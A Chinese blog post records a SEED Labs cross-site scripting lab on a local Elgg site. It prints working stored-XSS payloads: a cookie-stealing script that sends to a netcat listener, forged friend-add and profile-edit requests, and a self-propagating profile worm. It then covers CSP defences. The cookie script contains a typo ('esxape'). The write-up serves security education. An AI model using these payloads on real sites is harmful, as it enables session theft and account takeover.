layout | title | date | categories | tags | series | series_index | comments | mathjax | copyrights |
---|---|---|---|---|---|---|---|---|---|
post |
XSS |
2020-10-01 00:00:00 +0800 |
实验 |
seedlab xss |
SEEDLabs |
4 |
true |
true |
原创 |
本文为 SEED Labs 2.0 - Cross-Site Scripting Attack Lab 的实验记录。
跨站脚本攻击是指恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页之时,嵌入其中 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。xss 漏洞通常是通过 php 的输出函数将 javascript 代码输出到 html 页面中,通过用户本地浏览器执行的,所以 xss 漏洞关键就是寻找参数未过滤的输出函数。
这个 Task 用来熟悉 js 脚本。登录 Samy 账号,修改 profile 如图所示
<script>
alert('XSS');
</script>
保存后,看到已经生效
这个 Task 用来熟悉如何获取 Cookie。修改 Samy 的 profile 如图所示
<script>
alert(document.cookie);
</script>
保存后,看到已经生效
这个 Task 用来熟悉如何发回数据。修改 Samy 的 profile 如图所示
<script>
document.write('<img src=http://10.9.0.1:5555?c=' +
esxape(document.cookie) +
'>');
</script>
在端口上开启监听
nc -lknv 5555
登录 Alice 账号,点进 Samy 的 profile,看到返回了 cookie
这个 Task 利用 js 实现 GET 方法。修改 Samy 的 profile 如图所示
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var sendurl="http://www.seed-server.com/action/friend/add?friend=59" +
ts + token;
Ajax=new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.send();
}
</script>
登录 Alice 账号,点进 Samy 的 profile,看到已经添加了好友
Question 1: Explain the purpose of Lines 5 and 6, why are they are needed?
ts
和 token
用来验证用户身份,获取它们形成完整的 GET 请求,达到欺骗服务器的目的。
Question 2: If the Elgg application only provide the Editor mode for the "About Me" field, i.e., you cannot switch to the Text mode, can you still launch a successful attack?
此时在 description 处无法实施攻击。但可以压行后填写在 briefdescription 处。
这个 Task 利用 js 实现 POST 方法。修改 Samy 的 profile 如图所示
<script type="text/javascript">
window.onload = function(){
var userName="&name="+elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token + ts + userName +
"&description=samy%20is%20my%20hero&accesslevel[description]=2" +
guid;
var samyGuid=59;
var sendurl="http://www.seed-server.com/action/profile/edit";
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
登录 Alice 账号,查看 Samy 的 profile,看到自己的 profile 已经被修改了
Question 3: Why do we need Line 14? Remove this line, and repeat your attack. Report and explain your observation.
这行用来判断当前用户是不是攻击者自身,如果是,就不进行攻击。如果去掉这行代码,会导致攻击者保存自己的 profile 后,description 立即被改变,无法实施攻击。
这个 Task 实现脚本自身的复制传播。
只要让代码调用自己网站的 js,再把刚刚的代码放入自己网站的 js 中即可。它和下面 DOM 原理一模一样,没啥区别。这里我找来找去没找到实验提供的站点来放 js,所以就先跳过。:(
编辑 Samy 的 profile,使其可以把自己赋值到别人的 profile 中
<script id="worm">
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
window.onload = function(){
var userName="&name="+elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token + ts + userName +
"&description=" + wormCode + "&accesslevel[description]=2" +
"&briefdescription=samy%20is%20my%20hero&accesslevel[briefdescription]=2" +
guid;
var samyGuid=59;
var sendurl="http://www.seed-server.com/action/profile/edit";
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
登录 Alice 账号,查看 Samy 的 profile,看到自己的 profile 已经被修改了
登录 Charlie 账号,查看 Alice 的 profile,看到自己的 profile 已经被修改了
这个 Task 探究 CSP 防御 XSS 的作用。原始状态为
修改 apache_csp.conf
## Purpose: Setting CSP policies in Apache configuration
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example32b.com
DirectoryIndex index.html
Header set Content-Security-Policy " \
default-src 'self'; \
script-src 'self' *.example60.com \
script-src 'self' *.example70.com \
"
</VirtualHost>
看到 example32b.com 的 4、5、6 变成了 OK
修改 phpindex.php
<?php
$cspheader = "Content-Security-Policy:".
"default-src 'self';".
"script-src 'self' 'nonce-111-111-111' 'nonce-222-222-222' *.example60.com *.example70.com".
header($cspheader);
?>
<?php include 'index.html';?>
看到 example32c.com 的 1、2、4、5、6 变成了 OK
Please explain why CSP can help prevent Cross-Site Scripting attacks.
显然的,CSP 就是白名单制度,明确告诉客户端,哪些外部资源可以加载和执行。
实验原理简单,操作也很简单,注意不要输入错了就行(我因为一个大小写输错了卡了好久)。